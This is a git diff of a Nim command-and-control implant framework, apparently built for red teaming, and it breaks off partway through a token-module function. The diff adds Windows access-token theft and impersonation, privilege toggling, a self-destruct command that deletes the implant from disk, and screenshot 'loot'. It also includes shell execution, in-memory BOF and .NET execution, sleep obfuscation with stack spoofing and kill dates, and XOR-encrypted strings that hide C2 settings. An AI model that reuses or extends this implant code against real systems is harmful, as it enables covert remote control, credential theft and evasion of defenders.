uint64](packer: Packer, value: T): Packer return packer proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} = - packer.stream.writeData(data[0].unsafeAddr, data.len) + packer.stream.writeData(addr data[0], data.len) return packer proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} = @@ -97,7 +97,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] = return @[] result = newSeq[byte](length) - let bytesRead = unpacker.stream.readData(result[0].addr, length) + let bytesRead = unpacker.stream.readData(addr result[0], length) unpacker.position += bytesRead if bytesRead != length: @@ -106,7 +106,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] = proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array = var bytes: array[sizeof(T), byte] - let bytesRead = unpacker.stream.readData(bytes[0].unsafeAddr, sizeof(T)) + let bytesRead = unpacker.stream.readData(addr bytes[0], sizeof(T)) unpacker.position += bytesRead if bytesRead != sizeof(T): diff --git a/src/common/types.nim b/src/common/types.nim index 9ee33a1..dc71c4b 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -52,17 +52,14 @@ type CMD_SCREENSHOT = 15'u16 CMD_DOTNET = 16'u16 CMD_SLEEPMASK = 17'u16 - - ModuleType* = enum - MODULE_ALL = 0'u32 - MODULE_SLEEP = 1'u32 - MODULE_SHELL = 2'u32 - MODULE_BOF = 4'u32 - MODULE_DOTNET = 8'u32 - MODULE_FILESYSTEM = 16'u32 - MODULE_FILETRANSFER = 32'u32 - MODULE_SCREENSHOT = 64'u32 - MODULE_SITUATIONAL_AWARENESS = 128'u32 + CMD_MAKE_TOKEN = 18'u16 + CMD_STEAL_TOKEN = 19'u16 + CMD_REV2SELF = 20'u16 + CMD_TOKEN_INFO = 21'u16 + CMD_ENABLE_PRIV = 22'u16 + CMD_DISABLE_PRIV = 23'u16 + CMD_EXIT = 24'u16 + CMD_SELF_DESTRUCT = 25'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 @@ -100,16 +97,21 @@ type ZILEAN = 2'u8 FOLIAGE = 3'u8 -# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments -iterator items*(e: typedesc[ModuleType]): ModuleType = - yield MODULE_SLEEP - yield MODULE_SHELL - yield MODULE_BOF - yield MODULE_DOTNET - yield MODULE_FILESYSTEM - yield MODULE_FILETRANSFER - yield MODULE_SCREENSHOT - yield MODULE_SITUATIONAL_AWARENESS + ExitType* {.size: sizeof(uint8).} = enum + EXIT_PROCESS = "process" + EXIT_THREAD = "thread" + + ModuleType* = enum + MODULE_ALL = 0'u32 + MODULE_SLEEP = 1'u32 + MODULE_SHELL = 2'u32 + MODULE_BOF = 4'u32 + MODULE_DOTNET = 8'u32 + MODULE_FILESYSTEM = 16'u32 + MODULE_FILETRANSFER = 32'u32 + MODULE_SCREENSHOT = 64'u32 + MODULE_SITUATIONAL_AWARENESS = 128'u32 + MODULE_TOKEN = 256'u32 # Encryption type @@ -128,7 +130,7 @@ type packetType*: uint8 # [1 byte ] message type flags*: uint16 # [2 bytes ] message flags size*: uint32 # [4 bytes ] size of the payload body - agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryptio + agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryption seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption iv*: Iv # [12 bytes] random IV for AES256 GCM encryption gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption @@ -178,9 +180,10 @@ type pid*: uint32 isElevated*: uint8 sleep*: uint32 + jitter*: uint32 modules*: uint32 - AgentRegistrationData* = object + Registration* = object header*: Header agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange metadata*: AgentMetadata @@ -191,6 +194,7 @@ type agentId*: string listenerId*: string username*: string + impersonationToken*: string hostname*: string domain*: string ipInternal*: string @@ -200,6 +204,7 @@ type pid*: int elevated*: bool sleep*: int + jitter*: int tasks*: seq[Task] modules*: uint32 firstCheckin*: int64 @@ -211,6 +216,7 @@ type agentId*: string listenerId*: string username*: string + impersonationToken*: string hostname*: string domain*: string ipInternal*: string @@ -220,6 +226,7 @@ type pid*: int elevated*: bool sleep*: int + jitter*: int modules*: uint32 firstCheckin*: int64 latestCheckin*: int64 @@ -229,15 +236,17 @@ type Protocol* {.size: sizeof(uint8).} = enum HTTP = "http" - Listener* = ref object of RootObj + Listener* = ref object server*: Server listenerId*: string + hosts*: string address*: string port*: int protocol*: Protocol - UIListener* = ref object of RootObj + UIListener* = ref object listenerId*: string + hosts*: string address*: string port*: int protocol*: Protocol @@ -248,13 +257,16 @@ type type EventType* = enum CLIENT_HEARTBEAT = 0'u8 # Basic checkin - CLIENT_KEY_EXCHANGE = 200'u8 + CLIENT_KEY_EXCHANGE = 200'u8 # Unencrypted public key sent by both parties for key exchange # Sent by client CLIENT_AGENT_BUILD = 1'u8 # Generate an agent binary for a specific listener CLIENT_AGENT_TASK = 2'u8 # Instruct TS to send queue a command for a specific agent CLIENT_LISTENER_START = 3'u8 # Start a listener on the TS CLIENT_LISTENER_STOP = 4'u8 # Stop a listener + CLIENT_LOOT_REMOVE = 5'u8 # Remove loot on the team server + CLIENT_LOOT_GET = 6'u8 # Request file/screenshot from the team server for preview or download + CLIENT_AGENT_REMOVE = 7'u8 # Delete agent from the team server database # Sent by team server CLIENT_PROFILE = 100'u8 # Team server profile and configuration @@ -264,8 +276,11 @@ type CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog - CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log - CLIENT_LOOT = 108'u8 # Download file or screenshot to the operator desktop + CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log + CLIENT_LOOT_ADD = 108'u8 # Add file or screenshot stored on the team server to preview on the client, only sends metadata and not the actual file content + CLIENT_LOOT_DATA = 109'u8 # Send file/screenshot bytes to the client to display as preview or to download to the client desktop + CLIENT_IMPERSONATE_TOKEN = 110'u8 # Access token impersonated + CLIENT_REVERT_TOKEN = 111'u8 # Revert to original logon session Event* = object eventType*: EventType @@ -296,17 +311,30 @@ type profile*: Profile client*: WsConnection + WorkingHours* = ref object + enabled*: bool + startHour*: int32 + startMinute*: int32 + endHour*: int32 + endMinute*: int32 + + SleepSettings* = ref object + sleepDelay*: uint32 + jitter*: uint32 + sleepTechnique*: SleepObfuscationTechnique + spoofStack*: bool + workingHours*: WorkingHours + AgentCtx* = ref object agentId*: string listenerId*: string - ip*: string - port*: int - sleep*: int - sleepTechnique*: SleepObfuscationTechnique - spoofStack*: bool + hosts*: string + sleepSettings*: SleepSettings + killDate*: int64 sessionKey*: Key agentPublicKey*: Key profile*: Profile + registered*: bool # Structure for command module definitions type @@ -335,15 +363,28 @@ type type ConsoleItem* = ref object itemType*: LogType - timestamp*: int64 + timestamp*: string text*: string ConsoleItems* = ref object items*: seq[ConsoleItem] AgentBuildInformation* = ref object - listenerId*: string - sleepDelay*: uint32 - sleepTechnique*: SleepObfuscationTechnique - spoofStack*: bool - modules*: uint32 \ No newline at end of file + listenerId*: string + sleepSettings*: SleepSettings + verbose*: bool + killDate*: int64 + modules*: uint32 + + LootItemType* = enum + DOWNLOAD = 0'u8 + SCREENSHOT = 1'u8 + + LootItem* = ref object + itemType*: LootItemType + lootId*: string + agentId*: string + host*: string + path*: string + timestamp*: int64 + size*: int diff --git a/src/common/utils.nim b/src/common/utils.nim index dd3b587..6d8f0f6 100644 --- a/src/common/utils.nim +++ b/src/common/utils.nim @@ -16,6 +16,7 @@ proc toBytes*(T: type string, data: string): seq[byte] = #[ Compile-time string encryption using simple XOR This is done to hide sensitive strings, such as C2 profile settings in the binary + Original: https://github.com/S3cur3Th1sSh1t/nim-strenc/blob/main/src/strenc.nim ]# proc calculate(str: string, key: int): string {.noinline.} = var k = key @@ -101,4 +102,4 @@ proc toKey*(value: string): Key = if value.len != 32: raise newException(ValueError, protect("Invalid key length.")) - copyMem(result[0].addr, value[0].unsafeAddr, 32) \ No newline at end of file + copyMem(addr result[0], addr value[0], 32) \ No newline at end of file diff --git a/src/modules/bof.nim b/src/modules/bof.nim index 22ea85e..968e2a7 100644 --- a/src/modules/bof.nim +++ b/src/modules/bof.nim @@ -29,10 +29,11 @@ when not defined(agent): when defined(agent): - import osproc, strutils, strformat + import strformat import ../agent/core/coff + import ../agent/utils/io import ../agent/protocol/result - import ../common/[utils, serialize] + import ../common/serialize proc executeBof(ctx: AgentCtx, task: Task): TaskResult = try: @@ -57,7 +58,7 @@ when defined(agent): fileName = unpacker.getDataWithLengthPrefix() objectFileContents = unpacker.getDataWithLengthPrefix() - echo fmt" [>] Executing object file {fileName}." + print fmt" [>] Executing object file {fileName}." let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments) if output != "": diff --git a/src/modules/dotnet.nim b/src/modules/dotnet.nim index f842409..73c918d 100644 --- a/src/modules/dotnet.nim +++ b/src/modules/dotnet.nim @@ -29,10 +29,11 @@ when not defined(agent): when defined(agent): - import strutils, strformat + import strformat import ../agent/core/clr + import ../agent/utils/io import ../agent/protocol/result - import ../common/[utils, serialize] + import ../common/serialize proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult = try: @@ -56,7 +57,7 @@ when defined(agent): fileName = unpacker.getDataWithLengthPrefix() assemblyBytes = unpacker.getDataWithLengthPrefix() - echo fmt" [>] Executing .NET assembly {fileName}." + print fmt" [>] Executing .NET assembly {fileName}." let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments) if output != "": diff --git a/src/modules/exit.nim b/src/modules/exit.nim new file mode 100644 index 0000000..de7e6a9 --- /dev/null +++ b/src/modules/exit.nim @@ -0,0 +1,62 @@ +import ../common/[types, utils] + +# Define function prototype +proc executeExit(ctx: AgentCtx, task: Task): TaskResult +proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult + +# Module definition +let commands* = @[ + Command( + name: protect("exit"), + commandType: CMD_EXIT, + description: protect("Exit the agent."), + example: protect("exit process"), + arguments: @[ + Argument(name: protect("type"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false), + ], + execute: executeExit + ), + Command( + name: protect("self-destruct"), + commandType: CMD_SELF_DESTRUCT, + description: protect("Exit the agent and delete the executable from disk."), + example: protect("self-destruct"), + arguments: @[ + ], + execute: executeSelfDestroy + ) + ] + +# Implement execution functions +when not defined(agent): + proc executeExit(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult = nil + +when defined(agent): + + import strutils + import ../agent/utils/io + import ../agent/core/exit + import ../agent/protocol/result + + proc executeExit(ctx: AgentCtx, task: Task): TaskResult = + try: + print " [>] Exiting." + + if task.argCount == 0: + exit() + else: + let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data)) + exit(exitType) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult = + try: + print " [>] Self-destructing." + exit(EXIT_PROCESS, true) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + \ No newline at end of file diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim index 77b535a..7065689 100644 --- a/src/modules/filesystem.nim +++ b/src/modules/filesystem.nim @@ -100,14 +100,14 @@ when not defined(agent): when defined(agent): - import os, strutils, strformat, times, algorithm, winim + import strutils, strformat, algorithm, winim + import ../agent/utils/io import ../agent/protocol/result - import ../common/utils # Retrieve current working directory proc executePwd(ctx: AgentCtx, task: Task): TaskResult = - echo protect(" [>] Retrieving current working directory.") + print " [>] Retrieving current working directory." try: # Get current working directory using GetCurrentDirectory @@ -116,9 +116,9 @@ when defined(agent): length = GetCurrentDirectoryW(MAX_PATH, &buffer) if length == 0: - raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) - let output = $buffer[0 ..< (int)length] & "\n" + let output = $buffer[0 ..< (int)length] return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) except CatchableError as err: @@ -131,12 +131,12 @@ when defined(agent): # Parse arguments let targetDirectory = Bytes.toString(task.args[0].data) - echo protect(" [>] Changing current working directory to {targetDirectory}.") + print " [>] Changing current working directory to {targetDirectory}." try: # Get current working directory using GetCurrentDirectory if SetCurrentDirectoryW(targetDirectory) == FALSE: - raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -159,7 +159,7 @@ when defined(agent): cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer) if cwdLength == 0: - raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] @@ -168,11 +168,11 @@ when defined(agent): else: discard - echo fmt" [>] Listing files and directories in {targetDirectory}." + print fmt" [>] Listing files and directories in {targetDirectory}." # Prepare search pattern (target directory + \*) let searchPattern = targetDirectory & "\\*" - let searchPatternW = newWString(searchPattern) + let searchPatternW = +$searchPattern var findData: WIN32_FIND_DATAW @@ -186,7 +186,7 @@ when defined(agent): hFind = FindFirstFileW(searchPatternW, &findData) if hFind == INVALID_HANDLE_VALUE: - raise newException(OSError, fmt"Failed to find files ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) # Directory was found and can be listed else: @@ -286,7 +286,7 @@ when defined(agent): # Add summary of how many files/directories have been found output &= "\n" & fmt"{totalFiles} file(s)" & "\n" - output &= fmt"{totalDirs} dir(s)" & "\n" + output &= fmt"{totalDirs} dir(s)" return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) @@ -300,11 +300,11 @@ when defined(agent): # Parse arguments let target = Bytes.toString(task.args[0].data) - echo fmt" [>] Deleting file {target}." + print fmt" [>] Deleting file {target}." try: if DeleteFile(target) == FALSE: - raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -318,11 +318,11 @@ when defined(agent): # Parse arguments let target = Bytes.toString(task.args[0].data) - echo fmt" [>] Deleting directory {target}." + print fmt" [>] Deleting directory {target}." try: if RemoveDirectoryA(target) == FALSE: - raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -337,11 +337,11 @@ when defined(agent): lpExistingFileName = Bytes.toString(task.args[0].data) lpNewFileName = Bytes.toString(task.args[1].data) - echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." + print fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." try: if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: - raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -357,12 +357,12 @@ when defined(agent): lpExistingFileName = Bytes.toString(task.args[0].data) lpNewFileName = Bytes.toString(task.args[1].data) - echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." + print fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." try: # Copy file to new location, overwrite if a file with the same name already exists if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE: - raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) diff --git a/src/modules/filetransfer.nim b/src/modules/filetransfer.nim index 61d042e..c80cc9e 100644 --- a/src/modules/filetransfer.nim +++ b/src/modules/filetransfer.nim @@ -40,15 +40,16 @@ when not defined(agent): when defined(agent): - import os, std/paths, strutils, strformat + import os, std/paths, strformat + import ../agent/utils/io import ../agent/protocol/result - import ../common/[utils, serialize] + import ../common/serialize proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = try: var filePath: string = absolutePath(Bytes.toString(task.args[0].data)) - echo fmt" [>] Downloading {filePath}" + print fmt" [>] Downloading {filePath}" # Read file contents into memory and return them as the result var fileBytes = readFile(filePath) @@ -59,9 +60,9 @@ when defined(agent): packer.addDataWithLengthPrefix(string.toBytes(filePath)) packer.addDataWithLengthPrefix(string.toBytes(fileBytes)) - let result = packer.pack() + let data = packer.pack() - return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result) + return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, data) except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) @@ -71,7 +72,7 @@ when defined(agent): try: var arg: string = Bytes.toString(task.args[0].data) - echo arg + print arg # Parse binary argument var unpacker = Unpacker.init(arg) @@ -83,7 +84,7 @@ when defined(agent): let destination = fmt"{paths.getCurrentDir()}\{fileName}" writeFile(fmt"{destination}", fileContents) - return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}." & "\n")) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}.")) except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/modules/manager.nim b/src/modules/manager.nim index ed86ad5..e49c120 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -17,6 +17,18 @@ proc registerModule(module: Module) {.discardable.} = manager.commandsByType[cmd.commandType] = cmd manager.commandsByName[cmd.name] = cmd +proc registerCommands(commands: seq[Command]) {.discardable.} = + for cmd in commands: + manager.commandsByType[cmd.commandType] = cmd + manager.commandsByName[cmd.name] = cmd + +#[ + Modules/commands +]# + +import exit +registerCommands(exit.commands) + # Import all modules when (MODULES == cast[uint32](MODULE_ALL)): import @@ -27,7 +39,8 @@ when (MODULES == cast[uint32](MODULE_ALL)): bof, dotnet, screenshot, - situationalAwareness + systeminfo, + token registerModule(sleep.module) registerModule(shell.module) registerModule(bof.module) @@ -35,7 +48,8 @@ when (MODULES == cast[uint32](MODULE_ALL)): registerModule(filesystem.module) registerModule(filetransfer.module) registerModule(screenshot.module) - registerModule(situationalAwareness.module) + registerModule(systeminfo.module) + registerModule(token.module) # Import modules individually when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)): @@ -60,8 +74,11 @@ when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREE import screenshot registerModule(screenshot.module) when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)): - import situationalAwareness - registerModule(situationalAwareness.module) + import systeminfo + registerModule(systeminfo.module) +when ((MODULES and cast[uint32](MODULE_TOKEN)) == cast[uint32](MODULE_TOKEN)): + import token + registerModule(token.module) proc getCommandByType*(cmdType: CommandType): Command = return manager.commandsByType[cmdType] @@ -82,3 +99,17 @@ proc getModules*(modules: uint32 = 0): seq[Module] = for m in manager.modules: if (modules and cast[uint32](m.moduleType)) == cast[uint32](m.moduleType): result.add(m) + +proc getCommands*(modules: uint32 = 0): seq[Command] = + # House-keeping + result.add(manager.commandsByType[CMD_EXIT]) + result.add(manager.commandsByType[CMD_SELF_DESTRUCT]) + + # Modules + if modules == 0: + for m in manager.modules: + result.add(m.commands) + else: + for m in manager.modules: + if (modules and cast[uint32](m.moduleType)) == cast[uint32](m.moduleType): + result.add(m.commands) \ No newline at end of file diff --git a/src/modules/screenshot.nim b/src/modules/screenshot.nim index 4ee6aab..d4ccdd1 100644 --- a/src/modules/screenshot.nim +++ b/src/modules/screenshot.nim @@ -28,10 +28,29 @@ when defined(agent): import winim/lean import winim/inc/wingdi - import strutils, strformat, times + import strformat, times, pixie + import stb_image/write as stbiw + import ../agent/utils/io import ../agent/protocol/result - import ../common/[utils, serialize] + import ../common/serialize + + proc bmpToJpeg(data: seq[byte], quality: int = 80): seq[byte] = + let img: Image = decodeImage(Bytes.toString(data)) + # Convert to JPEG image for smaller file size + var rgbaData = newSeq[byte](img.width * img.height * 4) + var i = 0 + for y in 0..] Taking and uploading screenshot.") + print " [>] Taking and uploading screenshot." let - screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.bmp" - screenshotBytes: seq[byte] = takeScreenshot() + screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg" + screenshotBytes: seq[byte] = bmpToJpeg(takeScreenshot()) var packer = Packer.init() diff --git a/src/modules/shell.nim b/src/modules/shell.nim index 98016c8..c486fcd 100644 --- a/src/modules/shell.nim +++ b/src/modules/shell.nim @@ -29,9 +29,9 @@ when not defined(agent): when defined(agent): - import osproc, strutils, strformat + import osproc, strformat + import ../agent/utils/io import ../agent/protocol/result - import ../common/utils proc executeShell(ctx: AgentCtx, task: Task): TaskResult = try: @@ -50,7 +50,7 @@ when defined(agent): for arg in task.args[1..^1]: arguments &= Bytes.toString(arg.data) & " " - echo fmt" [>] Executing command: {command} {arguments}" + print fmt" [>] Executing command: {command} {arguments}" let (output, status) = execCmdEx(fmt("{command} {arguments}")) diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index 1a68612..f876800 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -41,19 +41,19 @@ when not defined(agent): when defined(agent): - import os, strutils, strformat + import strutils, strformat + import ../agent/utils/io import ../agent/protocol/result - import ../common/utils proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = try: # Parse task parameter - let delay = int(Bytes.toUint32(task.args[0].data)) + let delay = Bytes.toUint32(task.args[0].data) # Updating sleep in agent context - echo fmt" [>] Setting sleep delay to {delay} seconds." - ctx.sleep = delay + print fmt" [>] Setting sleep delay to {delay} seconds." + ctx.sleepSettings.sleepDelay = delay return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -63,26 +63,26 @@ when defined(agent): proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult = try: - echo fmt" [>] Updating sleepmask settings." + print fmt" [>] Updating sleepmask settings." case int(task.argCount): of 0: # Retrieve sleepmask settings - let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}" & "\n" + let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}%, Stack spoofing: {$ctx.sleepSettings.spoofStack}" return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response)) of 1: # Only set the sleepmask technique let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii()) - ctx.sleepTechnique = technique + ctx.sleepSettings.sleepTechnique = technique else: # Set sleepmask technique and stack-spoofing configuration let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii()) - ctx.sleepTechnique = technique + ctx.sleepSettings.sleepTechnique = technique let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte - ctx.spoofStack = spoofStack + ctx.sleepSettings.spoofStack = spoofStack return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) diff --git a/src/modules/situationalAwareness.nim b/src/modules/systeminfo.nim similarity index 78% rename from src/modules/situationalAwareness.nim rename to src/modules/systeminfo.nim index 55d1461..8106e66 100644 --- a/src/modules/situationalAwareness.nim +++ b/src/modules/systeminfo.nim @@ -3,11 +3,10 @@ import ../common/[types, utils] # Declare function prototypes proc executePs(ctx: AgentCtx, task: Task): TaskResult proc executeEnv(ctx: AgentCtx, task: Task): TaskResult -proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult # Module definition let module* = Module( - name: protect("situational-awareness"), + name: protect("systeminfo"), description: protect("Retrieve information about the target system and environment."), moduleType: MODULE_SITUATIONAL_AWARENESS, commands: @[ @@ -26,14 +25,6 @@ let module* = Module( example: protect("env"), arguments: @[], execute: executeEnv - ), - Command( - name: protect("whoami"), - commandType: CMD_WHOAMI, - description: protect("Get user information."), - example: protect("whoami"), - arguments: @[], - execute: executeWhoami ) ] ) @@ -42,14 +33,13 @@ let module* = Module( when not defined(agent): proc executePs(ctx: AgentCtx, task: Task): TaskResult = nil proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = nil - proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): import winim - import os, strutils, sequtils, strformat, tables, algorithm + import os, strutils, strformat, tables, algorithm + import ../agent/utils/io import ../agent/protocol/result - import ../common/utils # TODO: Add user context to process information type @@ -61,7 +51,7 @@ when defined(agent): proc executePs(ctx: AgentCtx, task: Task): TaskResult = - echo protect(" [>] Listing running processes.") + print " [>] Listing running processes." try: var processes: seq[DWORD] = @[] @@ -71,7 +61,7 @@ when defined(agent): # Take a snapshot of running processes let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) if hSnapshot == INVALID_HANDLE_VALUE: - raise newException(CatchableError, protect("Invalid permissions.\n")) + raise newException(CatchableError, GetLastError().getError) # Close handle after object is no longer used defer: CloseHandle(hSnapshot) @@ -81,7 +71,7 @@ when defined(agent): # Loop over processes to fill the map if Process32First(hSnapshot, addr pe32) == FALSE: - raise newException(CatchableError, protect("Failed to get processes.\n")) + raise newException(CatchableError, GetLastError().getError) while true: var procInfo = ProcessInfo( @@ -135,7 +125,7 @@ when defined(agent): proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = - echo protect(" [>] Displaying environment variables.") + print " [>] Displaying environment variables." try: var output: string = "" @@ -144,17 +134,5 @@ when defined(agent): return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) - - proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = - - echo protect(" [>] Getting user information.") - - try: - - let output = protect("Not implemented") - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output)) - except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) \ No newline at end of file diff --git a/src/modules/token.nim b/src/modules/token.nim new file mode 100644 index 0000000..11d91d8 --- /dev/null +++ b/src/modules/token.nim @@ -0,0 +1,166 @@ +import ../common/[types, utils] + +# Define function prototype +proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult +proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult +proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult +proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult +proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult +proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult + + +# Module definition +let module* = Module( + name: protect("token"), + description: protect("Manipulate Windows access tokens."), + moduleType: MODULE_TOKEN, + commands: @[ + Command( + name: protect("make-token"), + commandType: CMD_MAKE_TOKEN, + description: protect("Create an access token from username and password."), + example: protect("make-token LAB\\john Password123!"), + arguments: @[ + Argument(name: protect("domain\\username"), description: protect("Account domain and username. For impersonating local users, use .\\username."), argumentType: STRING, isRequired: true), + Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true), + Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false) + ], + execute: executeMakeToken + ), + Command( + name: protect("steal-token"), + commandType: CMD_STEAL_TOKEN, + description: protect("Steal the primary access token of a remote process."), + example: protect("steal-token 1234"), + arguments: @[ + Argument(name: protect("pid"), description: protect("Process ID of the target process."), argumentType: INT, isRequired: true), + ], + execute: executeStealToken + ), + Command( + name: protect("rev2self"), + commandType: CMD_REV2SELF, + description: protect("Revert to original access token."), + example: protect("rev2self"), + arguments: @[], + execute: executeRev2Self + ), + Command( + name: protect("token-info"), + commandType: CMD_TOKEN_INFO, + description: protect("Retrieve information about the current access token."), + example: protect("token-info"), + arguments: @[], + execute: executeTokenInfo + ), + Command( + name: protect("enable-privilege"), + commandType: CMD_ENABLE_PRIV, + description: protect("Enable a token privilege."), + example: protect("enable-privilege SeImpersonatePrivilege"), + arguments: @[ + Argument(name: protect("privilege"), description: protect("Privilege to enable."), argumentType: STRING, isRequired: true) + ], + execute: executeEnablePrivilege + ), + Command( + name: protect("disable-privilege"), + commandType: CMD_DISABLE_PRIV, + description: protect("Disable a token privilege."), + example: protect("disable-privilege SeImpersonatePrivilege"), + arguments: @[ + Argument(name: protect("privilege"), description: protect("Privilege to disable."), argumentType: STRING, isRequired: true) + ], + execute: executeDisablePrivilege + ) + ] +) + +# Implement execution functions +when not defined(agent): + proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil + +when defined(agent): + + import winim, strutils, strformat + import ../agent/core/token + import ../agent/utils/io + import ../agent/protocol/result + + proc executeMakeToken(ctx: AgentCtx, task: 